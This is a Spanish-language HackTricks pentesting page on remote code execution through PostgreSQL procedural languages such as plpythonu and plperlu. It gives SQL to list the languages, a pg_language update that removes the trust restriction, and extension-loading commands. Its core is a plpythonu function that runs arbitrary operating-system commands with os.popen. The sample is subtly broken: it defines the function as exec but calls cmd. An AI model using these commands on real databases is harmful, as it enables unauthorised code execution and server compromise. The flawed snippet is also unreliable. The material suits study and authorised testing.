RCE con lenguajes de PostgreSQL
Reading time: 6 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Lenguajes de PostgreSQL
La base de datos PostgreSQL a la que tienes acceso puede tener diferentes lenguajes de scripting instalados que podrías abusar para ejecutar código arbitrario.
Puedes hacerlos funcionar:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
La mayoría de los lenguajes de scripting que puedes instalar en PostgreSQL tienen 2 sabores: el confiable y el no confiable. El no confiable tendrá un nombre terminado en "u" y será la versión que te permitirá ejecutar código y usar otras funciones interesantes. Estos son lenguajes que, si están instalados, son interesantes:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (cualquier otro lenguaje de programación que use una versión insegura)
warning
Si encuentras que un lenguaje interesante está instalado pero no confiable por PostgreSQL (lanpltrusted
es false
) puedes intentar confiarlo con la siguiente línea para que no se apliquen restricciones por parte de PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Para verificar tus permisos sobre la tabla pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
Si no ves un lenguaje, podrías intentar cargarlo con (necesitas ser superadministrador):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Ten en cuenta que es posible compilar las versiones seguras como "inseguras". Consulta esto por ejemplo. Así que siempre vale la pena intentar si puedes ejecutar código incluso si solo encuentras instalada la confiable.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
Consulta la siguiente página:
C
Consulta la siguiente página:
RCE with PostgreSQL Extensions
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.